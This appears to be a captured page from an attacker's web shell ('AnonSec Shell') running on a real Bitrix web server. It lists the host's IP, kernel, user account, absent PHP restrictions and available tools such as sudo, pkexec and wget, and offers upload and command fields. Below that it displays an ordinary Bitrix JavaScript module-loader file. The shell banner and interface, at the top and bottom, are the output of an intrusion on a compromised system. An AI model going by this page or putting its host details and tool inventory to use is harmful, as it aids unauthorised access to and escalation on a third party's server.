AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.138.175.52
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/mobileapp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/mobileapp//platform.js
(function () {

	let modules = {};
	let requireStack = [];
	let inProgressModules = {};
	let SEPARATOR = '.';

	function build(module)
	{
		let factory = module.factory;
		let localRequire = function (id) {
			let resultantId = id;
			if (id.charAt(0) === '.')
			{
				resultantId = module.id.slice(0, module.id.lastIndexOf(SEPARATOR)) + SEPARATOR + id.slice(2);
			}
			return require(resultantId);
		};
		module.exports = {};
		delete module.factory;
		factory(localRequire, module.exports, module);
		return module.exports;
	}

	let require = function (id) {
		if (id.startsWith("native/"))
		{
			if (typeof nativeRequire === "function") {
				return nativeRequire(id.replace("native/", ""))
			}

			return {};
		}

		if (!modules[id])
		{
			throw new Error('extension ' + id + ' not found');
		}
		else if (id in inProgressModules)
		{
			let cycle = requireStack.slice(inProgressModules[id]).join(' -> ') + ' -> ' + id;
			throw new Error('Cycle in require graph: ' + cycle);
		}
		if (modules[id].factory)
		{
			try
			{
				inProgressModules[id] = requireStack.length;
				requireStack.push(id);
				return build(modules[id]);
			} finally
			{
				delete inProgressModules[id];
				requireStack.pop();
			}
		}
		return modules[id].exports;
	};

	let moduleUsage = () => {
		let defined =  Object.keys(modules)
		let definedCount = defined.length
		let used = defined.filter( id => typeof modules[id].factory == "undefined" )
		let usedCount = used.length
		let emptyUsage = defined.filter( id => !used.includes(id))

		return {
			defined,
			definedCount,
			used,
			usedCount,
			emptyUsage
		}
	}



	/**
	 *
	 * @param {String} id
	 * @param {DefineFactory} factory
	 */
	let define = function (id, factory) {
		modules[id] = {
			id: id,
			factory: factory
		};
	};

	define.remove = function (id) {
		delete modules[id];
	};

	define.moduleMap = modules;

	let data = {}
	this.jnExtensionData = {
		set:function (name, value) {
			data[name] = value
		},
		get:function(name) {
			if (typeof data[name] !== "undefined") {
				return data[name];
			}
			return {};
		}
	}

	let jnexport = this.jnexport = (...exportData) => {
		exportData.forEach(exportItem=>{
			if(exportItem instanceof Array)
			{
				if(exportItem.length === 2)
				{
					this[exportItem[1]] = exportItem[0]
				}
			}
			else
			{
				this[exportItem.name] = exportItem
			}
		})
	};

	let loadedExtensions = {};
	let loadingExtension = null;
	let delayedCallback = {}
	let jnImport = (ext, force = false) => {
		if (loadingExtension == null) {
			loadingExtension = {};
			this.loadedExtensions.forEach( ext => { loadedExtensions[ext] = true } )
		}
		return new Promise( (resolve, reject) => {
			if (Application.getApiVersion() < 45) {
				reject({error: "API_VERSION is lower then 45"})
				return;
			}
			if (loadedExtensions[ext] && force === false) {
				resolve()
				return;
			}

			if (!delayedCallback[ext]) {
				delayedCallback[ext] = []
			}

			delayedCallback[ext].push({
				fail: (e) => { reject(e) },
				success: () => { resolve() }
			})

			if (loadingExtension[ext]) {
				return;
			}
			loadingExtension[ext] = true
			let params = {
				headers: {
					"Content-Type": "application/json"
				},
				data: Object.keys(loadedExtensions)
			};
			dynamicLoad(`/mobileapp/jn/${ext}/?type=extension`, params)
				.then( result => {
					delete loadingExtension[ext];
					loadedExtensions[ext] = true;
					if (delayedCallback[ext]) {
						delayedCallback[ext].forEach( callback => callback.success.call())
					}
				}).catch(e => {
					delete loadingExtension[ext];
					if (delayedCallback[ext]) {
						delayedCallback[ext].forEach( callback => callback.fail.call(null, e))
					}
				}
			)
		})
	}

	this.jn = {
		moduleUsage, define, require, export: jnexport, import: jnImport
	}

})();

Anon7 - 2022
AnonSec Team